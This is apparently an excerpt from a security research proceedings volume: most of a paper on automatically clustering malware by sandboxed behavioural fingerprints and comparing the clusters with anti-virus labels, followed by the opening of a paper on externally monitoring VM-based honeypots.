in the large dataset. The one quarter undetected for the large set is likely an
overestimate of the ability of the AV, as many of the binaries labeled at that
point were many months old (e.g., compare the improvement over time in the
two labeling instances of small). Thus, AV systems do not provide a complete
labeling system.

Table 5. The ways in which various AV products label and group malware. AV labeling
schemes vary widely in how concisely they represent the malware they classify.

legacy(3,637 binaries) small(893 binaries)
Unique Labels Clusters or Families Unique Labels Clusters or Families

McAfee 116 34 122 95
F-Prot 1216 37 379 62
ClamAV 590 41 253 65
Trend 416 46 246 72
Symantec 57 31 90 81

Conciseness. Conciseness refers to the ability of the labeling system to pro-
vide a label that reflects the important characteristics of the sample without
superfluous semantics. In particular, we find that a label that carries either too
much or too little meaning has minimal value. To investigate this property, we
examined the number and types of labels and groups provided by the AV sys-
tems. Table 5 shows the number of unique labels provided by the AV systems
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as well as the number of unique families these labels belong to. In this analysis,
the family is a generalized label heuristically extracted from the literal string,
which contains the portion intended to be human-readable. For example, the
literal labels returned by a AV system W32-Sdbot.AC and Sdbot.42, are both
in the “sdbot” family. An interesting observation from this table is that these
systems vary widely in how concisely they represent malware. Vendors such as
Symantec appear to employ a general approach, reducing samples to a small
handful of labels and families. On the other extreme, FProt appears to aggres-
sively label new instances, providing thousands of unique labels for malware,
but still maintaining a small number of groups or families to which these labels
belong.

3 Behavior-Based Malware Clustering

As we described in the previous section, any meaningful labeling system must
achieve consistency, completeness, and conciseness, and existing approaches,
such as those used by anti-virus systems, fail to perform well on these met-
rics. To address these limitations, we propose an approach based on the actual
execution of malware samples and observation of their persistent state changes.
These state changes, when taken together, make a behavioral fingerprint, which
can then be clustered with other fingerprints to define classes and subclasses of
malware that exhibit similar state change behaviors. In this section, we discuss
our definition and generation of these behavioral fingerprints and the techniques
for clustering them.

3.1 Defining and Generating Malware Behaviors

Previous work in behavioral signatures has been based at the abstraction level
of low-level system events, such as individual system calls. In our system, the
intent is to capture what the malware actually does on the system. Such in-
formation is more invariant and directly useful to assess the potential damage
incurred. Individual system calls may be at a level that is too low for abstract-
ing semantically meaningful information: a higher abstraction level is needed to
effectively describe the behavior of malware. We define the behavior of malware
in terms of non-transient state changes that the malware causes on the system.
State changes are a higher level abstraction than individual system calls, and
they avoid many common obfuscation techniques that foil static analysis as well
as low-level signatures, such as encrypted binaries and non-deterministic event
ordering. In particular, we extract simple descriptions of state changes from the
raw event logs obtained from malware execution. Spawned process names, mod-
ified registry keys, modified file names, and network connection attempts are
extracted from the logs and the list of such state changes becomes a behavioral
profile of a sample of malware.

Observing the malware behavior requires actually executing the binaries. We
execute each binary individually inside a virtual machine [27] with Windows
XP installed. The virtual machine is partially firewalled so that the external
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impact of any immediate attack behaviors (e.g., scanning, DDoS, and spam) is
minimized during the limited execution period. The system events are captured
and exported to an external server using the Backtracker system [12]. In addition
to exporting system events, the Backtracker system provides a means of building
causal dependency graphs of these events. The benefit of this approach is that
we can validate that the changes we observe are a direct result of the malware,
and not of some normal system operation.

3.2 Clustering of Malware

While the choice of abstraction and generation of behaviors provides useful infor-
mation to users, operators, and security personnel, the sheer volume of malware
makes manual analysis of each new malware intractable. Our malware source
observed 3,700 samples in a six-month period—over 20 new pieces per day. Each
generated fingerprint, in turn, can exhibit many thousands of individual state
changes (e.g., infecting every .exe on a Windows host). For example, consider
the tiny subset of malware in table 6. The 10 distinct pieces of malware generate
from 10 to 66 different behaviors with a variety of different labels, including
disjoint families, variants, and undetected malware. While some items obviously
belong together in spite of their differences (e.g., C and D), even the composition
of labels across AV systems can not provide a complete grouping of the malware.
Obviously, for these new behavioral fingerprints to be effective, similar behaviors
need to be grouped and appropriate meanings assigned.

Table 6. Ten unique malware samples. For each sample, the number of process, file,
registry, and network behaviors observed and the classifications given by various AV
vendors are listed.

Label MD5 P/F/R/N McAfee Trend
A 71b99714cddd66181e54194c44ba59df 8/13/27/0 Not detected W32/Backdoor.QWO
B be5f889d12fe608e48be11e883379b7a 8/13/27/0 Not detected W32/Backdoor.QWO
C df1cda05aab2d366e626eb25b9cba229 1/1/6/1 W32/Mytob.gen@MM W32/IRCBot-based!Maximus
D 5bf169aba400f20cbe1b237741eff090 1/1/6/2 W32/Mytob.gen@MM Not detected
E eef804714ab4f89ac847357f3174aa1d 1/2/8/3 PWS-Banker.gen.i W32/Bancos.IQK
F 80f64d342fddcc980ae81d7f8456641e 2/11/28/1 IRC/Flood.gen.b W32/Backdoor.AHJJ
G 12586ef09abc1520c1ba3e998baec457 1/4/3/1 W32/Pate.b W32/Parite.B
H ff0f3c170ea69ed266b8690e13daf1a6 1/2/8/1 Not detected W32/Bancos.IJG
I 36f6008760bd8dc057ddb1cf99c0b4d7 3/22/29/3 IRC/Generic Flooder IRC/Zapchast.AK@bd
J c13f3448119220d006e93608c5ba3e58 5/32/28/1 Generic BackDoor.f W32/VB-Backdoor!Maximus

Our approach to generating meaningful labels is achieved through clustering
of the behavioral fingerprints. In the following subsections, we introduce this ap-
proach and the various issues associated with effective clustering, including how
to compare fingerprints, combine them based on their similarity, and determine
which are the most meaningful groups of behaviors.

Comparing Individual Malware Behaviors. While examining individual
behavioral profiles provides useful information on particular malware samples,
our goal is to classify malware and give them meaningful labels. Thus malware
samples must be grouped. One way to group the profiles is to create a distance
metric that measures the difference between any two profiles, and then use the
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Table 7. A matrix of the NCD between each of the 10 malware samples in our example

A B C D E F G H I J
A 0.06 0.07 0.84 0.84 0.82 0.73 0.80 0.82 0.68 0.77
B 0.07 0.06 0.84 0.85 0.82 0.73 0.80 0.82 0.68 0.77
C 0.84 0.84 0.04 0.22 0.45 0.77 0.64 0.45 0.84 0.86
D 0.85 0.85 0.23 0.05 0.45 0.76 0.62 0.43 0.83 0.86
E 0.83 0.83 0.48 0.47 0.03 0.72 0.38 0.09 0.80 0.85
F 0.71 0.71 0.77 0.76 0.72 0.05 0.77 0.72 0.37 0.54
G 0.80 0.80 0.65 0.62 0.38 0.78 0.04 0.35 0.78 0.86
H 0.83 0.83 0.48 0.46 0.09 0.73 0.36 0.04 0.80 0.85
I 0.67 0.67 0.83 0.82 0.79 0.38 0.77 0.79 0.05 0.53
J 0.75 0.75 0.86 0.85 0.83 0.52 0.85 0.83 0.52 0.08

metric for clustering. Our initial naive approach to defining similarity was based
on the concept of edit distance [7]. In this approach, each behavior is treated
as an atomic unit and we measure the number of inserts of deletes of these
atomic behaviors required to transform one behavioral fingerprint into another.
The method is fairly intuitive and straightforward to implement (think the Unix
command diff here); however, it suffers from two major drawbacks:

– Overemphasizing size. When the size of the number of behaviors is large,
the edit distance is effectively equivalent to clustering based on the length
of the feature set. This overemphasizes differences over similarities.

– Behavioral polymorphism. Many of the clusters we observed had few
exact matches for behaviors. This is because the state changes made by mal-
ware may contain simple behavioral polymorphism (e.g., random file names).

To solve these shortcomings we turned to normalized compression distance
(NCD). NCD is a way to provide approximation of information content, and it
has been successfully applied in a number of areas [25,29]. NCD is defined as:

NCD(x, y) =
C(x + y) − min(C(x), C(y))

max(C(x), C(y))

where ”x + y” is the concatenation of x and y, and C(x) is the zlib-compressed
length of x. Intuitively, NCD represents the overlap in information between two
samples. As a result, behaviors that are similar, but not identical, are viewed as
close (e.g., two registry entries with different values, random file names in the
same locations). Normalization addresses the issue of differing information con-
tent. Table 7 shows the normalized compression distance matrix for the malware
described in Table 6.

Constructing Relationships Between Malware. Once we know the in-
formation content shared between two sets of behavioral fingerprints, we can
combine various pieces of malware based on their similarity. In our approach,
we construct a tree structure based on the well-known hierarchical clustering
algorithm [11]. In particular, we use pairwise single-linkage clustering, which de-
fines the distance between two clusters as the minimum distance between any
two members of the clusters. We output the hierarchical cluster results as a tree
graph in graphviz’s dot format [14]. Figure 2 shows the generated tree for the
malware in Table 6.
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Fig. 2. On the left, a tree consisting of the malware from Table 6 has been clustered via
a hierarchical clustering algorithm whose distance function is normalized compression
distance. On the right, a dendrogram illustrating the distance between various subtrees.

Extracting Meaningful Groups. While the tree-based output of the hierar-
chical clustering algorithm does show the relationships between the information
content of behavioral fingerprints, it does not focus attention on areas of the
tree in which the similarities (or lack thereof) indicate an important group of
malware. Therefore, we need a mechanism to extract meaningful groups from
the tree. A naive approach to this problem would be to set a single threshold
of the differences between two nodes in the tree. However, this can be prob-
lematic as a single uniform distance does not accurately represent the distance
between various subtrees. For example, consider the dendrogram in Figure 2.
The height of many U-shaped lines connecting objects in a hierarchical tree il-
lustrates the distance between the two objects being connected. As the figure
shows, the difference between the information content of subtrees can be sub-
stantial. Therefore, we require an automated means of discovering where the
most important changes occur.

Table 8. The clusters generated via our technique for the malware listed in Table 6

Cluster Elements Overlap Example
c1 C, D 67.86% scans 25
c2 A, B 97.96% installs a cygwin rootkit
c3 E, G, H 56.60% disables AV
c4 F, I, J 53.59% IRC

To address this limitation, we adopt an “inconsistency” measure that is used
to compute the difference in magnitude between distances of clusters so that the
tree can be cut into distinct clusters. Clusters are constructed from the tree by
first calculating the inconsistency coefficient of each cluster, and then threshold-
ing based on the coefficient. The inconsistency coefficient characterizes each link
in a cluster tree by comparing its length with the average length of other links
at the same level of the hierarchy. The higher the value of this coefficient, the
less similar are the objects connected by the link. The inconsistency coefficient
calculation has one parameter, which is the depth below the level of the current
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Fig. 3. The memory and runtime required for performing clustering based on the num-
ber of malware clustered (for a variety of different sized malware behaviors)

link to consider in the calculation. All the links at the current level in the hier-
archy, as well as links down to the given depth below the current level, are used
in the inconsistency calculation.

In Table 8 we see the result of the application of this approach to the exam-
ple malware in Table 6. The 10 unique pieces of malware generate four unique
clusters. Each cluster shows the elements in that cluster, the average number of
unique behaviors in common between the clusters, and an example of a high-level
behavior in common between each binary in the cluster. For example, cluster one
consists of C and D and represents two unique behaviors of mytob, a mass mail-
ing scanning worm. Five of the behaviors observed for C and D are identical
(e.g., scans port 25), but several others exhibit some behavioral polymorphism
(e.g., different run on reboot registry entries). The other three clusters exhibit
similar expected results, with cluster two representing the cygwin backdoors,
cluster three the bancos variants, and cluster four a class of IRC backdoors.

4 Evaluation

To demonstrate the effectiveness of behavioral clustering, we evaluate our tech-
nique on the large and small datasets discussed in section 2. We begin by demon-
strating the runtime performance and the effects of various parameters on the
system. We then show the quality or goodness of the clusters generated by our
system by comparing existing AV groups (e.g., those labeled as SDBot) to our
clusters. Next we discuss our clusters in the context of our completeness, concise-
ness, and consistency criteria presented earlier. Finally, we illustrate the utility
of the clusters by answering relevant questions about the malware samples.

4.1 Performance and Parameterization

We now examine the memory usage and execution time for the hierarchical
clustering algorithm. To obtain these statistics, we take random sub-samples of
length between 1 to 526 samples from the small dataset. For each sub-sample,
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Fig. 4. On the left, the number of clusters generated for various values of the inconsis-
tency parameter and depth. On the right, the trade-off between the number of clusters,
the average cluster size, and the inconsistency value.

we analyze its run time and memory consumption by running ten trials for each.
The experiments were performed on a Dell PowerEdge 4600 with two Intel Xeon
MP CPUs (3.00GHz), 4 GB of DDR ECC RAM, 146G Cheetah Seagate drive
with an Adaptec 3960D Ultra160 SCSI adapter, running Fedora Core Linux.

We first decompose the entire execution process into five logical steps: (1)
trace collection, (2) state change extraction, (3) NCD distance matrix compu-
tation: an O(N2) operation, (4) clustering the distance matrix into a tree, (5)
cutting the tree into clusters. We focus on the latter three operations specific to
our algorithm for performance evaluation. Figure 3 shows the memory usage for
those three steps. As expected, computing NCD requires the most memory with
quadratic growth with an increasing number of malware for clustering. However,
clustering 500 malware samples requires less than 300MB of memory. The mem-
ory usage for the other two components grows at a much slower rate. Examining
the run-time in Figure 3 indicates that all three components can complete within
hundreds of seconds for clustering several hundred malware samples.

Phases 1-4 of the system operate without any parameters. However, the tree-
cutting algorithm of phase 5 has two parameters: the inconsistency measure and
the depth value. Intuitively, larger inconsistency measures lead to fewer clus-
ters and larger depth values for computing inconsistency result in more clusters.
Figure 4 illustrates the effects of depth on the number of clusters produced
for the small dataset for various inconsistency values. Values of between 4-6
for the depth (the 3rd and 4th colored lines) appear to bound the knee of the
curve. In order to evaluate the effect of inconsistency, we fixed thedepth to 4
and evaluated the number of clusters versus the average size of the clusters for
various inconsistency values in the large dataset. The results of this analysis,
shown in Figure 4, show a smooth trade-off until an inconsistency value between
2.2 and 2.3, where the clusters quickly collapse into a single cluster. In order
to generate clusters that are as concise as possible without, losing important
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feature information, the experiments in the next selection utilize values of depth
and inconsistency just at the knee of these curves. In this case, it is a depth
value of 4 and an inconsistency value of 2.22.

4.2 Comparing AV Groupings and Behavioral Clustering

To evaluate its effectiveness, we applied our behavioral clustering algorithm on
the large dataset from Section 2. Our algorithm created 403 clusters from the
3,698 individual pieces of malware using parmeters discussed above. While it
is infeasible to list all the clusters here, a list of the clusters, the malware and
behaviors in each cluster, and their AV labels are available at
http://www.eecs.umich.edu/~mibailey/malware/.

As a first approximation of the quality of the clusters produced, we returned
to our example in Section 2 and evaluated the clustering of various malware sam-
ples labeled as SDBot by the AV systems. Recall from our previous discussions
that various AV systems take differing approaches to labeling malware—some
adopt a general approach with malware falling into a few broad categories and
others apply more specific, almost per sample, labels to each binary. We expect
that a behavior-based approach would separate out these more general classes if
their behavior differs, and aggregate across the more specific classes if behaviors
are shared. Looking at these extremes in our sample, Symantec, who adopts
a more general approach, has two binaries identified as back-door.sdbot. They
were divided into separate clusters in our evaluation based on differing processes
created, differing back-door ports, differing methods of process invocation or re-
boot, and the presence of AV avoidance in one of the samples. On the other
extreme, FProt, which has a high propensity to label each malware sample in-
dividually, had 47 samples that were identified as belonging to the sdbot family.
FProt provided 46 unique labels for these samples, nearly one unique label per
sample. In our clustering, these 46 unique labels were collapsed into 15 unique
clusters reflecting their overlap in behaviors. As we noted in Section 2, these
grouping have differing semantics—both Symantec labels were also labled by
FProt as SDBot, but obviously not all FProt labels were identified as SDBot
by Symantec. Both of these extremes demonstrate the utility of our system in
moving toward a labeling scheme that is more concise, complete, and consistent.

4.3 Measuring the Completeness, Conciseness and Consistency

We previously examined how the clusters resulting from the application of our
algorithm to the large dataset compared to classification of AV systems. In this
section, we examine more general characteristics of our clusters in an effort
to demonstrate their quality. In particular, we demonstrate the completeness,
conciseness, and consistency of the generated clusters. Our analysis of these
properties, summarized in Table 9, are highlighted each in turn:

Completeness. To measure completeness, we examined the number of times
we created a meaningful label for a binary and compared this to the detection
rates of the various AV products. For AV software, “not detected” means no

http://www.eecs.umich.edu/~mibailey/malware/
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Table 9. The completeness, conciseness, and consistency of the clusters created with
our algorithm on the large dataset as compared to various AV vendors

Completeness Conciseness Consistency
AV Detected Not Detected % Detected Unique Clusters or Identical Behavior

Lables Families Labeled Identically
McAfee 2018 1680 54.6% 308 84 47.2%
F-Prot 2958 740 80.0% 1544 194 31.1%

ClamAV 2244 1454 60.7% 1102 119 34.9%
Trend 2960 738 80.0% 2034 137 44.2%

Symantec 1904 1794 51.5% 125 107 68.2%
Behavior 3387 311 91.6% 403 403 100%

signature matched, despite the up-to-date signature information. For behavioral
clustering, “not detected” means that we identified no behavior. A unique aspect
of this system is that our limiting factor is not whether we have seen a particular
binary before, as in a signature system, but whether we are able to extract
meaningful behavior. Any such behavior can be clustered in the context of any
number of previously observed malware instances and differentiated, although
this differentiation is clearly more valuable the more instances that are observed.
In our experiments, roughly 311 binaries exhibited no behavior. The root cause of
these errors, and a more complete discussion of the general limitations of dynamic
path exploration, is available in the Limitations section. A striking observation
from the table is that many AV software systems provide detection rates as low
as 51%, compared to around 91% using behavioral clustering. It should be noted
that these numbers are as much an indication of the mechanisms the vendors
use to collect malware as the AV systems themselves, since signature systems
can clearly only detect what they have seen before. While it would be unfair
to judge the detection rates based on previously unseen malware, we hesitate
to point out that our system for collection of these binaries is not unique. In
fact, while individual AV system rates may vary, over 96 percent of the malware
samples were detected by at least one of the AV systems. These samples are seen
significantly more broadly than our single collection infrastructure and many AV
systems fail to detect them.

Conciseness. Conciseness represented the ability of the labeling system to group
similar items into groups that both reflected the important differences in samples,
but were devoid of superfluous labels. As in Section 2, we evaluate conciseness by
examining the characteristics of the grouping, or clusters, created by AV systems
with those created by our system. We examine the number of unique labels gener-
ated by the AV systems and a heuristically-generated notion of families or groups
of these labels extracted from the human readable strings. For example, the la-
bels W32-Sdbot.AC and Sdbot.42, are both in the “sdbot” family. As we noted
before, AV systems vary widely in how concisely they represent malware. Rela-
tive to other systems, our clusters strike a middle ground in conciseness, providing
fewer labels than the total unique labels of AV systems, but more than the number
of AV system families. This observation is consistent with the previous section—
the AV system families exhibit multiple different behaviors, but these behaviors
have much in common across individual labels.



192 M. Bailey et al.

Consistency. Consistency referred to the ability of a labeling system to identify
similar or identical items in the same way. In the context of our behavioral
system goals, this implies that identical behaviors are placed in the same clusters.
In order to measure the consistency of the system, we examined the binaries
that exhibited exactly identical behavior. In the large sample, roughly 2,200
binaries shared exactly identical behavior with another sample. When grouped,
these 2,200 binaries created 267 groups in which each sample in the group had
exactly the same behavior. We compared the percentage of time the clusters
were identified as the same through our approach, as well as the various AV
system. As expected, our system placed all of the identical behaviors in the
same clusters. However, because consistency is a design goal of the system, the
consistency value for our technique is more a measure of correctness than quality.
What is interesting to note, however, is that AV systems obviously do not share
this same goal. AV systems only labled exactly identical behavior with the same
label roughly 31% to 68% percent of the time.

4.4 Application of Clustering and Behavior Signatures

In this subsection we look at several applications of this technique, in the context
of the clusters, created by our algorithm from the large dataset.

Classifying Emerging Threats. Behavioral classification can be effective in
characterizing emerging threats not yet known or not detected by AV signa-
tures. For example, cluster c156 consists of three malware samples that exhibit
malicious bot-related behavior, including IRC command and control activities.
Each of the 75 behaviors observed in the cluster is shared with other samples of
the group—96.92% on average, meaning the malware samples within the cluster
have almost identical behavior. However, none of the AV vendors detect the sam-
ples in this cluster except for F-Prot, which only detects one of the samples. It is
clear that our behavioral classification would assist in identifying these samples
as emerging threats through their extensive malicious behavioral profile.

Resisting Binary Polymorphism. Similarly, behavioral classification can
also assist in grouping an undetected outlier sample (due to polymorphism or
some other deficiency in the AV signatures) together with a common family that
it shares significant behaviors with. For example, cluster c80 consists of three
samples that share identical behaviors with distinctive strings ”bling.exe” and
”m0rgan.org.” The samples in this cluster are consistently labeled as a malicious
bot across the AV vendors except Symantec, which fails to identify one of the
samples. To maintain completeness, this outlier sample should be labeled similar
to the other samples based on its behavioral profile.

Examining the Malware Behaviors. Clearly one of the values of any type
of automated security system is not to simply provide detailed information on
individual malware, but also to provide broad analysis on future directions of
malware. Using the behavioral signatures created by our system, we extracted
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Table 10. The top five behaviors observed by type

Network Process Files Registry
connects to 80 execs cmd.exe writes winhlp32.dat uses wininet.dll
connects to 25 execs IEXPLORE.EXE writes tasklist32.exe uses PRNG
connects to 6667 execs regedit.exe writes change.log modifies registered applications
connects to 587 execs tasklist32.exe writes mirc.ini modifies proxy settings
scans port 80 execs svchost.exe writes svchost.exe modifies mounted drives

the most prevalent behaviors for each of the various categories of behaviors we
monitor. The top five such behaviors in each category are shown in Table 10.

The network behavior seems to conform with agreed notions of how the tasks
are being performed by most malware today. Two of the top five network behav-
iors involve the use of mail ports, presumably for spam. Port 6667 is a common
IRC port and is often used for remote control of the malware. Two of the ports
are HTTP ports used by systems to check for jailed environments, download
code via the web, or tunnel command and control over what is often an unfil-
tered port. The process behaviors are interesting in that many process executa-
bles are named like common Windows utilities to avoid arousing suspicion (e.g.,
svchost.exe, tasklist32.exe). In addition, some malware uses IEXPLORE.EXE
directly to launch popup ads and redirect users to potential phishing sites. This
use of existing programs and libraries will make simple anomaly detection tech-
niques more difficult. The file writes show common executable names and data
files written to the filesystem by malware. For example, the winhlp32.dat file
is a data file common to many Bancos trojans. Registry keys are also fairly in-
teresting indications of behavior and the prevalence of wininet.dll keys shows
heavy use of existing libraries for network support. The writing to PRNG keys
indicates a heavy use of randomization, as the seed is updated every time a
PRNG-related function is used. As expected, the malware does examine and
modify the registered application on a machine, the TCP/IP proxy settings (in
part to avoid AV), and it queries mounted drives.

5 Related Work

Our work is the first to apply automated clustering to understand malware be-
havior using resulting state changes on the host to identify various malware
families. Related work in malware collection, analysis, and signature generation
has primarily explored static and byte-level signatures [23,17] focusing on in-
variant content. Content-based signatures are insufficient to cope with emerging
threats due to intentional evasion. Behavioral analysis has been proposed as a
solution to deal with polymorphism and metamorphism, where malware changes
its visible instruction sequence (typically the decryptor routine) as it spreads.
Similar to our work, emulating malware to discover spyware behavior by using
anti-spyware tools has been used in measurements studies [22].

There are several abstraction layers at which behavioral profiles can be cre-
ated. Previous work has focused on lower layers, such as individual system
calls [15,10],instruction-based code templates [6], the initial code run on malware
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infection (shellcode) [18], and network connection and session behavior [30]. Such
behavior needs to be effectively elicited. In our work, we chose a higher abstrac-
tion layer for several reasons. In considering the actions of malware, it is not the
individual system calls that define the significant actions that a piece of malware
inflicts upon the infected host; rather, it is the resulting changes in state of the
host. Also, although lower levels may allow signatures that differentiate mal-
ware, they do not provide semantic value in explaining behaviors exhibited by a
malware variant or family. In our work, we define malware by what it actually
does, and thereby build in more semantic meanings to the profiles and clusters
generated.

Various aspects of high-level behavior could be included in the definition of a
behavioral profile. Network behavior may be indicative of malware and has been
used to detect malware infections. For example, Ellis et al. [9] extracted network-
level features, such as similar data being sent from one machine to the next. In
our work, we focus on individual host behavior, including network connection
information but not the data transmitted over the network. Thus, we focus more
on the malware behavior on individual host systems instead of the pattern across
a network.

Recently, Kolter and Maloof [13] studied applying machine learning to clas-
sify malicious executables using n-grams of byte codes. Our use of hierarchical
clustering based on normalized compression distance is a first step at examining
how statistical techniques are useful in classifying malware, but the features used
are the resulting state changes on the host to be more resistant to evasion and
inaccuracies. Normalized information distance was proposed by Li et al. [16] as
an optimal similarity metric to approximate all other effective similarity metrics.
In previous work [29], NCD was applied to worm executables directly and to the
network traffic generated by worms. Our work applies NCD at a different layer
of abstraction. Rather than applying NCD to the literal malware executables,
we apply NCD to the malware behavior.

6 Limitations and Future Work

Our system is not without limitations and shares common weaknesses asso-
ciated with dynamic analysis. Since the malware samples were executed within
VMware, samples that employ anti-VM evasion techniques may not exhibit their
malicious behavior. To mitigate this limitation, the samples could be run on a
real, non-virtualized system, which would be restored to a clean state after each
simulation. Another limitation is the time period in which behaviors are collected
from the malware execution. In our experiments, each binary was able to run for
five minutes before the virtual machine was terminated. It is possible that cer-
tain behaviors were not observed within this period due to time-dependent or de-
layed activities. Previous research has been done to detect such time-dependent
triggers [8]. A similar limitation is malware that depends on user input, such
as responding to a popup message box, before exhibiting further malicious be-
havior, as mentioned in [22]. Finally, the capabilities and environment of our
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virtualized system stayed static throughout our experiments. However, varying
the execution environment by using multiple operating system versions, includ-
ing other memory resident programs such as anti-virus protection engines, and
varying network connectivity and reachability may yield interesting behaviors
not observed in our existing results. Recently, a generic approach to these and
other problems associated with dynamic analysis has be suggested by Moser, et
al. [21]. Their approach is based on exploring multiple execution paths through
tracing and rewriting key input values in the system, which could yield additional
behaviors unseen in our single execution path.

Our choice of a high level of abstraction may limit fine-grained visibility into
each of the observed behaviors in our system. A path for future work could in-
clude low-level details of each state change to supplement the high-level behavior
description. For example, the actual contents of disk writes and transmitted net-
work packets could be included in a sample’s behavioral profile. In addition, we
plan to evaluate the integration of other high-level behavioral reports from ex-
isting systems, such as Norman [24] and CWSandbox [5], in the future. We will
also investigate further clustering and machine-learning techniques that may
better suit these other types of behavioral profiles. Finally, the causal graphs
from Backtracker, which are used to identify the behaviors in our system, also
include dependency information that is currently ignored. In future versions, this
dependency information could be used to further differentiate behaviors.

7 Conclusion

In this paper, we demonstrated that existing host-based techniques (e.g., anti-
virus) fail to provide useful labels to the malware they encounter. We showed
that AV systems are incomplete in that they fail to detect or provide labels
for between 20 to 49 percent of the malware samples. We noted that when
these systems do provide labels, these labels are not consistent, both within a
single naming convention as well as across multiple vendors and conventions.
Finally, we demonstrated that these systems vary widely in their conciseness—
from aggressive, nearly individual labels that ignore commonalities, to broad
general groups that hide important details.

To address these important limitations, we proposed a novel approach to
the problem of automated malware classification and analysis. Our dynamic
approach executes the malware in a virtualized environment and creates a be-
havioral fingerprint of the malware’s activity. This fingerprint is the set of all
the state changes that are a causal result of the infection, including files mod-
ified, processes created, and network connections. In order to compare these
fingerprints and combine them into meaningful groups of behaviors, we apply
single-linkage hierarchical clustering of the fingerprints using normalized com-
press distance as a distance metric. We demonstrated the usefulness of this
technique by applying it to the automated classification and analysis of 3,700
malware samples collected over the last six months. We compared the clusters
generated to existing malware classification (i.e., AV systems) and showed the
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technique’s completeness, conciseness, and consistency. Through these evalua-
tions, we showed that this new technique provides a novel way of understanding
the relationships between malware and is an important step forward in under-
standing and bridging existing malware classifications.
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16. Li, M., Chen, X., Li, X., Ma, B., Vitányi, P.: The similarity metric. In: SODA ’03:
Proceedings of the fourteenth annual ACM-SIAM symposium on Discrete algo-
rithms, Philadelphia, PA, USA. Society for Industrial and Applied Mathematics,
pp. 863–872 (2003)

17. Li, Z., Sanghi, M., Chen, Y., Kao, M., Chavez, B.: Hamsa: Fast Signature Gener-
ation for Zero-day Polymorphic Worms with Provable Attack Resilience. In: Proc.
of IEEE Symposium on Security and Privacy, IEEE Computer Society Press, Los
Alamitos (2006)

18. Ma, J., Dunagan, J., Wang, H., Savage, S., Voelker, G.: Finding Diversity in Remote
Code Injection Exploits. In: Proceedings of the USENIX/ACM Internet Measure-
ment Conference, October 2006, ACM Press, New York (2006)

19. McAfee: W32/Sdbot.worm (April 2003),
http://vil.nai.com/vil/content/v_100454.htm

20. Microsoft: Microsoft security intelligence report: (January-June 2006) (October
2006), http://www.microsoft.com/technet/security/default.mspx

21. Moser, A., Kruegel, C., Kirda, E.: Exploring multiple execution paths for mal-
ware analysis. In: Proceedings of the IEEE Symposium on Security and Privacy
(Oakland 2007), May 2007, IEEE Computer Society Press, Los Alamitos (2007)

22. Moshchuk, A., Bragin, T., Gribble, S.D., Levy, H.M.: A Crawler-based Study of
Spyware in the Web. In: Proceedings of the Network and Distributed System Se-
curity Symposium (NDSS), San Diego, CA (2006)

23. Newsome, J., Karp, B., Song, D.: Polygraph: Automatically generating signatures
for polymorphic worms. In: Proceedings 2005 IEEE Symposium on Security and
Privacy, Oakland, CA, USA, May 8–11, 2005, IEEE Computer Society Press, Los
Alamitos (2005)

24. Norman Solutions: Norman sandbox whitepaper (2003),
http:// download.norman.no/whitepapers/whitepaper Norman SandBox.pdf

25. Nykter, M., Yli-Harja, O., Shmulevich, I.: Normalized compression distance for
gene expression analysis. In: Workshop on Genomic Signal Processing and Statistics
(GENSIPS) (May 2005)

26. Prince, M.B., Dahl, B.M., Holloway, L., Keller, A.M., Langheinrich, E.: Under-
standing how spammers steal your e-mail address: An analysis of the first six
months of data from project honey pot. In: Second Conference on Email and Anti-
Spam (CEAS 2005) (July 2005)

27. Walters, B.: VMware virtual platform. j-LINUX-J 63 (July 1999)
28. Wang, Y.-M., Beck, D., Jiang, X., Roussev, R., Verbowski, C., Chen, S., King,

S.T.: Automated web patrol with strider honeymonkeys: Finding web sites that
exploit browser vulnerabilities. In: Proceedings of the Network and Distributed
System Security Symposium, NDSS 2006, San Diego, California, USA (2006)

29. Wehner, S.: Analyzing worms and network traffic using compression. Technical
report, CWI, Amsterdam (2005)

30. Yegneswaran, V., Giffin, J.T., Barford, P., Jha, S.: An Architecture for Generat-
ing Semantics-Aware Signatures. In: Proceedings of the 14th USENIX Security
Symposium, Baltimore, MD, USA, August 2005, pp. 97–112 (2005)

http://vil.nai.com/vil/content/v_100454.htm
http://www.microsoft.com/technet/security/default.mspx
http://download.norman.no/whitepapers/whitepaper_Norman_SandBox.pdf
http://download.norman.no/whitepapers/whitepaper_Norman_SandBox.pdf


“Out-of-the-Box” Monitoring of VM-Based
High-Interaction Honeypots

Xuxian Jiang and Xinyuan Wang

Department of Information and Software Engineering
George Mason University

Fairfax, VA 22030
{xjiang,xwangc}@ise.gmu.edu

Abstract. Honeypot has been an invaluable tool for the detection and analysis
of network-based attacks by either human intruders or automated malware in the
wild. The insights obtained by deploying honeypots, especially high-interaction
ones, largely rely on the monitoring capability on the honeypots. In practice,
based on the location of sensors, honeypots can be monitored either internally
or externally. Being deployed inside the monitored honeypots, internal sensors
are able to provide a semantic-rich view on various aspects of system dynamics
(e.g., system calls). However, their very internal existence makes them visible,
tangible, and even subvertible to attackers after break-ins. From another perspec-
tive, existing external honeypot sensors (e.g., network sniffers) could be made
invisible to the monitored honeypot. However, they are not able to capture any
internal system events such as system calls executed.

It is desirable to have a honeypot monitoring system that is invisible, tamper-
resistant and yet is capable of recording and understanding the honeypot’s system
internal events such as system calls. In this paper, we present a virtualization-
based system called VMscope which allows us to view the system internal events
of virtual machine (VM)-based honeypots from outside the honeypots. Particu-
larly, by observing and interpreting VM-internal system call events at the vir-
tual machine monitor (VMM) layer, VMscope is able to provide the same deep
inspection capability as that of traditional inside-the-honeypot monitoring tools
(e.g., Sebek) while still obtaining similar tamper-resistance and invisibility as
other external monitoring tools. We have built a proof-of-concept prototype by
leveraging and extending one key virtualization technique called binary transla-
tion. Our experiments with real-world honeypots show that VMscope is robust
against advanced countermeasures that can defeat existing internally-deployed
honeypot monitors, and it only incurs moderate run-time overhead.

1 Introduction

Malware that exploits network and system vulnerabilities has become an increasing
threat to the information systems we are depending on daily: They not only actively
take advantage of zero-day exploits [20,21,22] to compromise vulnerable machines, but
also stealthily hide in infected machines and inflict contaminations over time [10,15],
e.g., by deliberately avoiding fast propagation and using rootkits to protect themselves.

From the defender’s perspective, security researchers have proposed and developed
a variety of systems and tools to capture, analyze, and ultimately defend against these
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attacks. Among the most notable approaches, the honeypot [9] has been an invaluable
and effective tool for researchers to observe and understand the exploits, methods and
strategies used by attackers and malware. Particularly, high-interaction honeypots al-
low intruders to access a full-fledged operating system running unmodified vulnerable
applications with few restrictions. By closely monitoring the entire process on how the
honeypot is being probed, exploited, and misused, we can obtain unique insights on
the (possibly zero-day) vulnerabilities [17,48,59] being exploited, the detailed intrusion
